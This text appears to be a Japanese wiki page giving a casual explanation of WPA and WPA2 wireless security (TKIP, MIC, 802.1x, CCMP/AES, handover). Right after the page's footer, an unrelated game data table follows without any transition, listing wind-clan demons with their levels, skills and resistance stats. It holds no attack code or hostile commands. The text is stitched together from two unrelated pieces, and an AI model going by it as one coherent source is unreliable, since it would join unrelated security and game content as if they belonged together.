IEEE 802.11i の主要部分を実装したプロトコルで802.11i が完成するまでの間、WEP の代替として一時的に使うために策定されたのです。 以下の機能が追加されています。(従来採用されてきたWEPの弱点を補強して、セキュリティ強度を向上させたものなの。) より強力な認証RADIUSサーバなどのIEEE 802.1x認証サーバを使って個々のユーザーを認証できる より長いキーWPAでは、初期化ベクタ(IV:Initialization Vector)が48ビットに、マスターキーが128ビットに拡張されている TKIP(Temporal Key Integrity Protocol)クライアントごとに異なるキーを生成し、連続するパケットごとにキーを変更する MIC(Message Integrity Code)暗号化チェックサム。メッセージが送信中に改ざんされていないかをチェックし、通信内容を盗聴して得た認証情報を使って不正アクセスすること等を防止します。 ※暗号化キーは、「WEP128」では26桁、「WEP64」では10桁、「AES」、「TKIP」では64桁となります パーソナルモード このモードではWEPと同様に、手動で設定されたキーを利用します。 すべてのクライアントが同一の初期マスターキーを使います。 エンタープライズモード:APはEAP(Extensible Authentication Protocol)を使い、各クライアントとペアワイズマスターキーである PMK(Pairwise Master Key)を個別にネゴシエートします。 キーが再利用されると、マスターキーの特定につながるデータをハッカーに大量に与えてしまうことになってしまいます。 WEPでは、すべてのステーションが同じマスターキーを使う、と前述しましたね。また、24ビットの1600万通りの値しか生成しないため、通信が活発に行われるネットワークでは数時間の間に同じものが再利用されてしまいます。 しかし、WPAでは48ビットが採用されており、その取り得る値が使い尽くされるのには何年もかかります。 WPA2 802.11i の必須部分を実装したものです。 特に新たにAES(Advanced Encryption Standard)暗号ベースのアルゴリズムである CCMP(Counter Mode with Cipher Block Chaining Message Authentication Code Protocol を導入しています。 TKIPではWEPの場合と比べて無線トラフィックが非常に傍受されにくくなっているのですが、CCMPはRC4とTKIPの組み合わせよりも安全そうです。安全そうなのですが、CCMPはRC4より多くのプロセッササイクルを必要とするのでWPA2にアップグレードする時はAPやクライアントをより性能のいいものに交換したほうがいいのかもしれません。 また、WPA2ではクライアントがAP間を移動する際のハンドオーバーを高速化する方法も追加されているようです。 802.1xサーバによる認証とキーの生成のプロセスは、気になるレベルの無線音声通信の途切れを発生させてしまうほど時間がかかっちゃいます。WPA2 ではクライアントがあらかじめ近隣のAPとの認証を行う方法が規定されているのでタブン大丈夫。さらにWPA2ではクライアントが以前に利用したAPのエリアに戻ったときにすぐに通信を再開できるように、APとクライアントにキーを保持させておくことも可能なのです。ステキですね^p^ これで、このページは終わりなのです。わかりにくい・見難い・違ってる なんてことが多々有るかもしれませんが、それはそれで良いと思います。『これ違うんじゃない?』とか『もうちょっとわかりやすい表現はないかな』と思って調べた方が頭に入りやすいと思いますしね。それにこの資料だけを参考にして痛い目に会えば、次からはいろんな資料を目を向けられるようになる・・・かもしれませんし。 今回はセキュリティについて書きましたが、『絶対』というものは存在しないので注意してくださいね。ウィルス等でも、セキュリティソフトを入れているからといって必ず防げるとは限りませんし。よく知りませんが(´・ω・`) 名前 コメント このページへのアクセス数 total - today - yesterday - このページのタグ一覧
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紅蓮|銀氷|雷電|疾風|蛮力|外法|技芸|精霊|御魂|魔人|禍津| 疾風属 管属固有の捜査特技として「神風」と「偵察」を持つ 全体的に火炎と呪殺の2属性を弱点としている LV 名前 戦闘特技 思い出特技 会話術 口調 継承制限 ギフト 備考 4 ポルターガイスト ザン疾風剣 逃走加速 ハピルマトーク 小僧 解毒符ターコイズ疾風魔鋼 8 エンジェル マハ・ザンディア疾風忠義突 衝撃半減 マダムのおしかり 淑女 突進 × 鎮心符ターコイズ疾風魔鋼 13 モー・ショボー ザンディア衝撃弾 衝撃高揚 セクシーボイス おきゃん 鎮心符ターコイズ疾風魔鋼 18 アークエンジェル マハ・ザン疾風剣ザン・ラティ 一分の活泉 洗脳スピーチ 紳士 金丹アクアマリン疾風魔鋼 23 アンズー マハ・ザンマカ・カジャ真空刃 経験豊穣 ペテンの誘導 獣 金丹アクアマリン疾風幻銅 27 パワー ザン衝撃弾疾風の壁 呪殺半減 洗脳スピーチ 若人 ブレス × 退魔の水アクアマリン疾風幻銅 30 ホウオウ ザン・ラティ疾風忠義突リカーム 迷子無効 インテリ口説き術 爺 神楽笛ガーネット疾風幻銅 34 ドミニオン マハ・ザンディアオーラ疾風の壁 耐のチャクラ 洗脳スピーチ 紳士 宝玉ガーネット疾風幻銅 38 ペクヨン 雄叫び大疾風忠義突ザンダイン 衝撃半減 フェロモンボイス 偉人 銘酒あらしガーネット疾風霊銀 42 イチモクレン 真空刃大暴れ疾風真剣 二分の活泉 ペテンの誘導 マッド 神楽笛トパーズ疾風霊銀 46 クラマテング ザンダインパトラマハ・ザンダイン 見覚えの成長 バイオレンスPR 偉人 突進 × 清酒まんさくトパーズ疾風霊銀 50 ヒトコトヌシ 真空刃マハ・ムド大疾風忠義突 衝撃高揚 インテリ口説き術 マッド 突進 × 特製煙幕トパーズ疾風霊銀 修験地獄 第三三三層 55 デカラビア ザンダインマカ・カジャテンペスト ファイの時報 ハピルマトーク すわっ ブレス × 集魔の水パール疾風霊銀 60 サンダルフォン マハ・ザンダインサマリカーム疾風の結界 医術の心得 インテリ口説き術 偉人 突進 × 反魂香パール疾風神金 64 オファニム 真空刃疾風真剣メギドファイア 衝撃半減 ハピルマトーク 偉人 宝玉パール疾風神金 最終章で撃破後 69 カマエル メ・ディアラマラク・カジャオン疾風の結界 報復の狼煙 カリスマ 紳士 反魂香ダイヤモンド疾風神金 最終章でアスタロト撃破後 73 メタトロン テンペスト極疾風忠義突メギドラオン 衝撃高揚 インテリ口説き術 紳士 突進 × バビロンの石板ダイヤモンド疾風神金 管属 名前 LV HP 力 魔 耐 運 物理 銃撃 火炎 氷結 電撃 衝撃 呪殺 精神 万能 疾風 ポルターガイスト 4 128 5 9 4 5 100 無効 100 100 100 無効 50 無効 100 疾風 エンジェル 8 171 4 10 6 7 100 150 100 100 100 吸収 100 100 100 疾風 モー・ショボー 13 208 6 13 5 8 100 150 100 100 吸収 無効 100 100 100 疾風 アークエンジェル 18 309 16 5 11 5 50 150 100 100 100 吸収 100 100 100 疾風 アンズー 23 335 16 12 8 6 100 150 150 100 100 無効 100 100 100 疾風 パワー 27 429 18 6 15 7 100 150 10 10 10 10 100 100 100 疾風 ホウオウ 30 407 12 15 9 13 100 150 50 50 50 50 100 100 100 疾風 ドミニオン 34 457 11 19 11 12 100 150 100 100 100 吸収 100 50 100 疾風 ペクヨン 38 513 22 12 14 9 100 無効 100 100 100 吸収 無効 無効 100 疾風 イチモクレン 42 567 18 18 17 8 100 150 無効 100 100 無効 100 100 100 疾風 クラマテング 46 587 17 22 16 10 100 150 100 100 100 吸収 100 100 100 疾風 ヒトコトヌシ 50 620 18 22 17 12 50 吸収 100 100 100 吸収 無効 100 100 疾風 デカラビア 55 658 19 24 18 13 100 無効 50 50 50 吸収 無効 100 100 疾風 サンダルフォン 60 699 21 25 20 13 100 150 100 100 100 吸収 100 100 100 疾風 オファニム 64 718 23 25 20 15 150 無効 50 50 50 無効 100 100 100 疾風 カマエル 69 786 30 15 26 17 50 無効 無効 100 50 無効 100 100 100 疾風 メタトロン 73 784 23 29 24 16 100 150 100 10 50 吸収 無効 無効 100